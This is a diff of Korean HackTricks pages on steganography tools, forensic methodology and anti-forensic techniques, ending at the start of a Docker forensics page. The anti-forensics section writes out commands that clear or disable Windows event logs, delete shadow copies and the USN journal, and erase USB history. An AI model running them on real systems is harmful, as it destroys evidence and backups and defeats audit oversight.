exiftool과 유사한 메타데이터 뷰어입니다. `apt`를 통해 설치할 수 있으며 [GitHub](https://github.com/Exiv2/exiv2)에서 소스를 찾을 수 있으며 [공식 웹사이트](http://www.exiv2.org/)도 있습니다.
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
### **파일**
|
||||
|
||||
다루고 있는 파일의 유형을 식별합니다.
|
||||
|
||||
### **문자열**
|
||||
|
||||
다양한 인코딩 설정을 사용하여 파일에서 읽을 수 있는 문자열을 추출하여 출력을 필터링합니다.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
strings -n 6 file | tail -n 20 # Last 20 strings
|
||||
strings -e s -n 6 file # 7bit strings
|
||||
strings -e S -n 6 file # 8bit strings
|
||||
strings -e l -n 6 file # 16bit strings (little-endian)
|
||||
strings -e b -n 6 file # 16bit strings (big-endian)
|
||||
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||
```
|
||||
### **비교 (cmp)**
|
||||
|
||||
온라인에서 찾은 원본 버전과 수정된 파일을 비교하는 데 유용합니다.
|
||||
```bash
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## **텍스트에서 숨겨진 데이터 추출하기**
|
||||
|
||||
### **공백 안에 숨겨진 데이터**
|
||||
|
||||
보이지 않는 문자들이 비어 보이는 공백에 정보를 숨길 수 있습니다. 이 데이터를 추출하려면 [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)을 방문하세요.
|
||||
|
||||
## **이미지에서 데이터 추출하기**
|
||||
|
||||
### **GraphicMagick을 사용하여 이미지 세부 정보 식별하기**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php)은 이미지 파일 유형을 결정하고 잠재적인 손상을 식별하는 데 사용됩니다. 아래 명령을 실행하여 이미지를 검사하세요:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
손상된 이미지를 복구하려면 메타데이터 주석을 추가하는 것이 도움이 될 수 있습니다:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **데이터 숨김을 위한 Steghide**
|
||||
|
||||
Steghide은 `JPEG, BMP, WAV 및 AU` 파일 내에 데이터를 숨기는 것을 용이하게 해주며, 암호화된 데이터를 포함하고 추출할 수 있습니다. 설치는 `apt`를 사용하여 간단하게 할 수 있으며, [소스 코드는 GitHub에서](https://github.com/StefanoDeVuono/steghide) 사용할 수 있습니다.
|
||||
|
||||
**명령어:**
|
||||
|
||||
* `steghide info file`는 파일이 숨겨진 데이터를 포함하는지 여부를 나타냅니다.
|
||||
* `steghide extract -sf file [--passphrase password]`는 숨겨진 데이터를 추출하며, 비밀번호는 선택 사항입니다.
|
||||
|
||||
웹 기반 추출을 위해서는 [이 웹사이트](https://futureboy.us/stegano/decinput.html)를 방문하십시오.
|
||||
|
||||
**Stegcracker를 사용한 브루트포스 공격:**
|
||||
|
||||
* Steghide에서 비밀번호 크래킹을 시도하려면 [stegcracker](https://github.com/Paradoxis/StegCracker.git)를 다음과 같이 사용하십시오:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **PNG 및 BMP 파일용 zsteg**
|
||||
|
||||
zsteg은 PNG 및 BMP 파일에서 숨겨진 데이터를 발견하는 데 특화되어 있습니다. 설치는 `gem install zsteg`를 통해 수행되며, [GitHub에서 소스를 확인할 수 있습니다](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**명령어:**
|
||||
|
||||
* `zsteg -a 파일`은 파일에 모든 탐지 방법을 적용합니다.
|
||||
* `zsteg -E 파일`은 데이터 추출을 위한 페이로드를 지정합니다.
|
||||
|
||||
### **StegoVeritas 및 Stegsolve**
|
||||
|
||||
**stegoVeritas**는 메타데이터를 확인하고 이미지 변환을 수행하며, 다른 기능 중에 LSB 브루트 포싱을 적용합니다. 모든 옵션의 전체 목록을 보려면 `stegoveritas.py -h`를 사용하고, 모든 확인을 실행하려면 `stegoveritas.py stego.jpg`를 사용하세요.
|
||||
|
||||
**Stegsolve**는 다양한 색상 필터를 적용하여 이미지 내에 숨겨진 텍스트나 메시지를 드러내는 데 사용됩니다. [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)에서 사용할 수 있습니다.
|
||||
|
||||
### **숨겨진 콘텐츠 탐지를 위한 FFT**
|
||||
|
||||
Fast Fourier Transform (FFT) 기술을 사용하면 이미지 내에 숨겨진 콘텐츠를 발견할 수 있습니다. 유용한 자료는 다음과 같습니다:
|
||||
|
||||
* [EPFL 데모](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [GitHub의 FFTStegPic](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **오디오 및 이미지 파일용 Stegpy**
|
||||
|
||||
Stegpy를 사용하면 PNG, BMP, GIF, WebP, WAV와 같은 형식을 지원하는 이미지 및 오디오 파일에 정보를 삽입할 수 있습니다. [GitHub](https://github.com/dhsdshdhk/stegpy)에서 사용할 수 있습니다.
|
||||
|
||||
### **PNG 파일 분석을 위한 Pngcheck**
|
||||
|
||||
PNG 파일을 분석하거나 그 신뢰성을 확인하려면 사용하세요:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **이미지 분석을 위한 추가 도구**
|
||||
|
||||
더 깊이 탐구하기 위해 다음을 방문해보세요:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **오디오에서 데이터 추출하기**
|
||||
|
||||
**오디오 스테가노그래피**는 소리 파일 내에 정보를 숨기는 독특한 방법을 제공합니다. 다양한 도구가 잠재된 콘텐츠를 삽입하거나 검색하는 데 사용됩니다.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide는 JPEG, BMP, WAV 및 AU 파일에 데이터를 숨기기 위해 설계된 다재다능한 도구입니다. 자세한 지침은 [stego tricks 문서](stego-tricks.md#steghide)를 참조하세요.
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
이 도구는 PNG, BMP, GIF, WebP 및 WAV와 같은 다양한 형식과 호환됩니다. 자세한 정보는 [Stegpy 섹션](stego-tricks.md#stegpy-png-bmp-gif-webp-wav)을 참조하세요.
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg는 오디오 파일의 무결성을 평가하고 상세 정보를 강조하며 어떠한 불일치도 파악하는 데 중요합니다.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg은 최소 유의 비트 전략을 사용하여 WAV 파일 내에 데이터를 숨기고 추출하는 데 뛰어납니다. [GitHub](https://github.com/ragibson/Steganography#WavSteg)에서 사용할 수 있습니다. 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound는 AES-256을 사용하여 소리 파일 내의 정보를 암호화하고 감지할 수 있습니다. [공식 페이지](http://jpinsoft.net/deepsound/download.aspx)에서 다운로드할 수 있습니다.
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
오디오 파일의 시각적 및 분석적 검사에 귀중한 도구 인 Sonic Visualizer는 다른 수단으로는 감지할 수 없는 숨겨진 요소를 드러낼 수 있습니다. 더 많은 정보는 [공식 웹 사이트](https://www.sonicvisualiser.org/)에서 확인할 수 있습니다.
|
||||
|
||||
### **DTMF Tones - Dial Tones**
|
||||
|
||||
오디오 파일에서 DTMF 톤을 감지하는 것은 [이 DTMF 검출기](https://unframework.github.io/dtmf-detect/) 및 [DialABC](http://dialabc.com/sound/detect/index.html)와 같은 온라인 도구를 통해 달성할 수 있습니다.
|
||||
|
||||
## **기타 기술**
|
||||
|
||||
### **Binary Length SQRT - QR Code**
|
||||
|
||||
제곱근이 정수인 이진 데이터는 QR 코드를 나타낼 수 있습니다. 다음 스니펫을 사용하여 확인하세요:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
### **점자 번역**
|
||||
|
||||
점자 번역을 위해서는 [Branah Braille Translator](https://www.branah.com/braille-translator)를 사용할 수 있습니다.
|
||||
|
||||
## **참고 자료**
|
||||
|
||||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 마스터하세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,102 @@
|
|||
# 기본적인 포렌식 방법론
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전 또는 HackTricks PDF 다운로드**에 액세스하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 이미지 생성 및 마운트
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 악성 코드 분석
|
||||
|
||||
이것은 **이미지를 얻은 후에 수행해야 하는 첫 번째 단계는 아닙니다**. 그러나 파일, 파일 시스템 이미지, 메모리 이미지, pcap 등이 있는 경우에도 이 악성 코드 분석 기법을 독립적으로 사용할 수 있으므로 **이러한 작업을 염두에 두는 것이 좋습니다**:
|
||||
|
||||
{% content-ref url="malware-analysis.md" %}
|
||||
[malware-analysis.md](malware-analysis.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 이미지 검사
|
||||
|
||||
디바이스의 **포렌식 이미지**가 주어진 경우 **파티션, 사용된 파일 시스템**을 분석하고 잠재적으로 **흥미로운 파일**(삭제된 파일 포함)을 복구할 수 있습니다. 다음에서 이를 배워보세요:
|
||||
|
||||
{% content-ref url="partitions-file-systems-carving/" %}
|
||||
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
사용된 운영 체제 및 플랫폼에 따라 다른 흥미로운 아티팩트를 검색해야 할 수도 있습니다:
|
||||
|
||||
{% content-ref url="windows-forensics/" %}
|
||||
[windows-forensics](windows-forensics/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="linux-forensics.md" %}
|
||||
[linux-forensics.md](linux-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% content-ref url="docker-forensics.md" %}
|
||||
[docker-forensics.md](docker-forensics.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 특정 파일 유형 및 소프트웨어의 깊은 검사
|
||||
|
||||
매우 **의심스러운 파일**이 있다면, **파일 유형 및 생성한 소프트웨어**에 따라 여러 **기교**가 유용할 수 있습니다.\
|
||||
다음 페이지를 읽어 몇 가지 흥미로운 기교를 배워보세요:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
특히 다음 페이지에 대해 언급하고 싶습니다:
|
||||
|
||||
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 메모리 덤프 검사
|
||||
|
||||
{% content-ref url="memory-dump-analysis/" %}
|
||||
[memory-dump-analysis](memory-dump-analysis/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pcap 검사
|
||||
|
||||
{% content-ref url="pcap-inspection/" %}
|
||||
[pcap-inspection](pcap-inspection/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **반 포렌식 기법**
|
||||
|
||||
반 포렌식 기법의 가능성을 염두에 두세요:
|
||||
|
||||
{% content-ref url="anti-forensic-techniques.md" %}
|
||||
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 위협 사냥
|
||||
|
||||
{% content-ref url="file-integrity-monitoring.md" %}
|
||||
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고**하고 싶으신가요? 또는 **PEASS의 최신 버전 또는 HackTricks PDF 다운로드**에 액세스하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks)와 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,169 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배워보세요</strong>!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 타임스탬프
|
||||
|
||||
공격자는 탐지를 피하기 위해 파일의 타임스탬프를 변경하는 것에 관심이 있을 수 있습니다.\
|
||||
MFT 내부의 속성 `$STANDARD_INFORMATION` __ 및 __ `$FILE_NAME`에서 타임스탬프를 찾을 수 있습니다.
|
||||
|
||||
두 속성은 **수정**, **액세스**, **생성** 및 **MFT 레지스트리 수정** (MACE 또는 MACB)에 대한 4개의 타임스탬프를 가지고 있습니다.
|
||||
|
||||
**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**에서 정보를 표시합니다.
|
||||
|
||||
## TimeStomp - 안티 포렌식 도구
|
||||
|
||||
이 도구는 **`$STANDARD_INFORMATION`** 내부의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내부의 정보는 **수정하지 않습니다**. 따라서 **수상한 활동을 식별**할 수 있습니다.
|
||||
|
||||
## Usnjrnl
|
||||
|
||||
**USN Journal** (Update Sequence Number Journal)은 NTFS (Windows NT 파일 시스템)의 기능으로 볼륨 변경 내용을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검사할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (449).png>)
|
||||
|
||||
이전 이미지는 도구에서 표시된 **출력**입니다. 여기서 파일에 일부 **변경 사항이 수행**되었음을 확인할 수 있습니다.
|
||||
|
||||
## $LogFile
|
||||
|
||||
파일 시스템의 **모든 메타데이터 변경 사항은 로그에 기록**됩니다. 이 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (450).png>)
|
||||
|
||||
도구의 출력에서 다시 **일부 변경 사항이 수행**되었음을 볼 수 있습니다.
|
||||
|
||||
동일한 도구를 사용하여 **타임스탬프가 수정된 시간**을 식별할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (451).png>)
|
||||
|
||||
* CTIME: 파일의 생성 시간
|
||||
* ATIME: 파일의 수정 시간
|
||||
* MTIME: 파일의 MFT 레지스트리 수정
|
||||
* RTIME: 파일의 액세스 시간
|
||||
|
||||
## `$STANDARD_INFORMATION` 및 `$FILE_NAME` 비교
|
||||
|
||||
수상한 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치**를 찾는 것입니다.
|
||||
|
||||
## 나노초
|
||||
|
||||
**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 가지고 있습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프를 가진 파일은 매우 수상합니다**.
|
||||
|
||||
## SetMace - 안티 포렌식 도구
|
||||
|
||||
이 도구는 `$STARNDAR_INFORMATION` 및 `$FILE_NAME` 두 속성을 모두 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하기 위해 라이브 OS가 필요합니다.
|
||||
|
||||
# 데이터 숨김
|
||||
|
||||
NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하는 경우 **남은 반 개는 파일이 삭제될 때까지 사용되지 않습니다**. 따라서 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
|
||||
|
||||
슬래커와 같은 도구를 사용하여 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
|
||||
|
||||
![](<../../.gitbook/assets/image (452).png>)
|
||||
|
||||
그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 도구는 콘텐츠를 난독화하거나 암호화하여 저장할 수 있습니다.
|
||||
|
||||
# UsbKill
|
||||
|
||||
이 도구는 USB 포트에 변경 사항이 감지되면 컴퓨터를 **종료**합니다.\
|
||||
이를 발견하기 위해 실행 중인 프로세스를 검사하고 **실행 중인 각 Python 스크립트를 검토**하는 방법이 있습니다.
|
||||
|
||||
# 라이브 Linux 배포판
|
||||
|
||||
이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트되었는지 여부에 따라 감지할 수 있습니다. 읽기 권한으로만 마운트되었다면 침입을 감지할 수 없습니다.
|
||||
|
||||
# 안전한 삭제
|
||||
|
||||
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
|
||||
|
||||
# Windows 구성
|
||||
|
||||
포렌식 조사를 훨씬 어렵게 만들기 위해 여러 Windows 로깅 방법을 비활성화할 수 있습니다.
|
||||
|
||||
## 타임스탬프 비활성화 - UserAssist
|
||||
|
||||
이는 사용자가 각 실행 파일을 실행한 날짜와 시간을 유지하는 레지스트리 키입니다.
|
||||
|
||||
UserAssist를 비활성화하려면 두 단계를 거쳐야 합니다:
|
||||
|
||||
1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 개의 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 것을 나타냅니다.
|
||||
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`와 같은 레지스트리 하위 트리를 지웁니다.
|
||||
|
||||
## 타임스탬프 비활성화 - Prefetch
|
||||
|
||||
이는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 작업에도 유용할 수 있습니다.
|
||||
|
||||
* `regedit`를 실행합니다.
|
||||
* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`를 선택합니다.
|
||||
* `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼으로 클릭합니다.
|
||||
* 각각의 수정을 선택하여 값을 1 (또는 3)에서 0으로 변경합니다.
|
||||
* 재부팅합니다.
|
||||
|
||||
## 타임스탬프 비활성화 - 마지막 액세스 시간
|
||||
|
||||
Windows NT 서버의 NTFS 볼륨에서
|
||||
## USB 기록 삭제
|
||||
|
||||
**USB 장치 항목**은 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키 아래에 저장됩니다. 이 키는 H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`에서 찾을 수 있습니다. **이를 삭제**하면 USB 기록이 삭제됩니다.\
|
||||
또한 `C:\Windows\INF` 폴더 내의 `setupapi.dev.log` 파일도 삭제해야 합니다.
|
||||
|
||||
## 그림자 복사 비활성화
|
||||
|
||||
`vssadmin list shadowstorage` 명령으로 **그림자 복사본**을 나열합니다.\
|
||||
`vssadmin delete shadow` 명령으로 그림자 복사본을 삭제합니다.
|
||||
|
||||
또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안하는 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
|
||||
|
||||
그림자 복사본을 비활성화하려면 [여기의 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따릅니다:
|
||||
|
||||
1. 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
|
||||
2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 다음 마우스 오른쪽 버튼을 클릭하여 속성에 액세스합니다.
|
||||
3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 후, 변경 사항을 적용하고 확인을 클릭하여 변경을 확인합니다.
|
||||
|
||||
그림자 복사본에서 복사할 파일의 구성도 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 수정할 수 있습니다.
|
||||
|
||||
## 삭제된 파일 덮어쓰기
|
||||
|
||||
* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이는 cipher에게 C 드라이브의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
|
||||
* [**Eraser**](https://eraser.heidi.ie)와 같은 도구도 사용할 수 있습니다.
|
||||
|
||||
## Windows 이벤트 로그 삭제
|
||||
|
||||
* Windows + R --> eventvwr.msc --> "Windows Logs" 확장 --> 각 범주를 마우스 오른쪽 버튼으로 클릭하고 "로그 지우기"를 선택합니다.
|
||||
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
## Windows 이벤트 로그 비활성화
|
||||
|
||||
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
* 서비스 섹션 내에서 "Windows Event Log" 서비스를 비활성화합니다.
|
||||
* `WEvtUtil.exec clear-log` 또는 `WEvtUtil.exe cl`
|
||||
|
||||
## $UsnJrnl 비활성화
|
||||
|
||||
* `fsutil usn deletejournal /d c:`
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>로부터 제로에서 영웅까지 AWS 해킹 배우기<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* HackTricks에서 **회사 광고를 보거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **@hacktricks_live**를 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,119 @@
|
|||
# 도커 포렌식
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기교를 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 컨테이너 수정
|
||||
|
||||
어떤 도커 컨테이너가 침해당했을 가능성이 있습니다:
|
||||
```bash
|
||||
docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
